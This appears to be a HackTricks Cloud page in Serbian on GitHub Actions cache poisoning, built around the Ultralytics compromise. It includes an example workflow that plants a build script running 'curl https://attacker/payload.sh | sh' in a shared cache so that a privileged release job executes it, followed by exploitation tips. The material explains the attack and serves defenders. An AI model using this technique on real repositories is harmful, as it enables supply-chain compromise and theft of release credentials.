GH Actions - Cache Poisoning
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
GitHub Actions cache je globalan za repozitorijum. Bilo koji workflow koji zna cache key (ili restore-keys) može popuniti taj unos, čak i ako job ima samo permissions: contents: read. GitHub ne razdvaja cache-e po workflow-u, tipu događaja ili nivou poverenja, pa napadač koji kompromituje posao sa niskim privilegijama može poison a cache koji će kasnije restore-ovati privilegovani release job. Ovako je Ultralytics compromise pivoted from a pull_request_target workflow into the PyPI publishing pipeline.
Osnovni elementi napada
actions/cacheizlaže i restore i save operacije (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Poziv za save je dozvoljen za bilo koji job osim za zaista nepouzdanepull_requestworkflow-e pokrenute iz forkova.- Cache unosi se identifikuju isključivo pomoću
key. Širokirestore-keysolakšavaju ubacivanje payloads jer napadaču je dovoljno da se poklopi sa prefiksom. - Keširani datotečni sistem se vraća doslovno. Ako cache sadrži skripte ili binarne fajlove koji se kasnije izvršavaju, napadač kontroliše taj put izvršavanja.
Primer lanca eksploatacije
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Prilegovan workflow je obnovljen i izvršio poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Drugi job sada izvršava kod pod kontrolom napadača dok poseduje kredencijale za release (PyPI tokens, PATs, cloud deploy keys, etc.).
Praktični saveti za eksploataciju
- Ciljajte workflows pokrenute
pull_request_target,issue_commentili bot komandama koje i dalje čuvaju caches; GitHub im dozvoljava da prepišu ključeve koji važe za ceo repozitorijum čak i kada runner ima samo pristup za čitanje. - Tražite determinističke cache ključeve koji se ponovo koriste preko granica poverenja (na primer,
pip-${{ hashFiles('poetry.lock') }}) ili permisivnerestore-keys, pa sačuvajte svoj maliciozni tarball pre nego što privilegovani workflow bude pokrenut. - Pratite logove za
Cache savedunose ili dodajte sopstveni cache-save korak, kako bi sledeći release job restore-ovao payload i izvršio trojanized scripts or binaries.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

